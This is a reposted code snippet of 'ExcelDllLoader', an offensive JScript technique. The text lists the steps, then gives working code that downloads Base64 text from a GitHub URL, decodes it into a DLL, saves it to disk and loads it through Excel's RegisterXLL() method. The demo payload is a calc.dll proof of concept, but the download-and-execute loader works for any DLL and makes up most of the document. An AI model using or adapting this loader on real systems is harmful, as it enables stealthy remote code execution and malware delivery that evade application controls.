[转载代码] ExcelDllLoader

codegay

https://github.com/3gstudent/ExcelDllLoader

Execute DLL via the Excel.Application object's RegisterXLL() method

ExcelDllLoader.js:

Check if Microsoft Office has been installed
Download the dll from Github
Save the dll to %appdata%\Microsoft\Windows\Recent
Load it via the Excel.Application object's RegisterXLL() method
ExcelDllLoader(Base64decode).js：

Download the Base64 encoded text from Github
Base64 decoded and get the calc.dll
Save the dll to c:\test\calc.dll
Load it via the Excel.Application object's RegisterXLL() method



ExcelDllLoader(Base64decode).js:

x="c:\\test\\calc.dll";
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);
h.Send();
enc=new ActiveXObject("System.Text.ASCIIEncoding");
length=enc.GetByteCount_2(h.ResponseText);
ba=enc.GetBytes_4(h.ResponseText);
transform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba=transform.TransformFinalBlock(ba,0,length);
s=new ActiveXObject("ADODB.Stream");
s.Type=1;
s.Open();
s.Write(ba);	
s.SaveToFile(x,2);
new ActiveXObject("Excel.Application").RegisterXLL(x);
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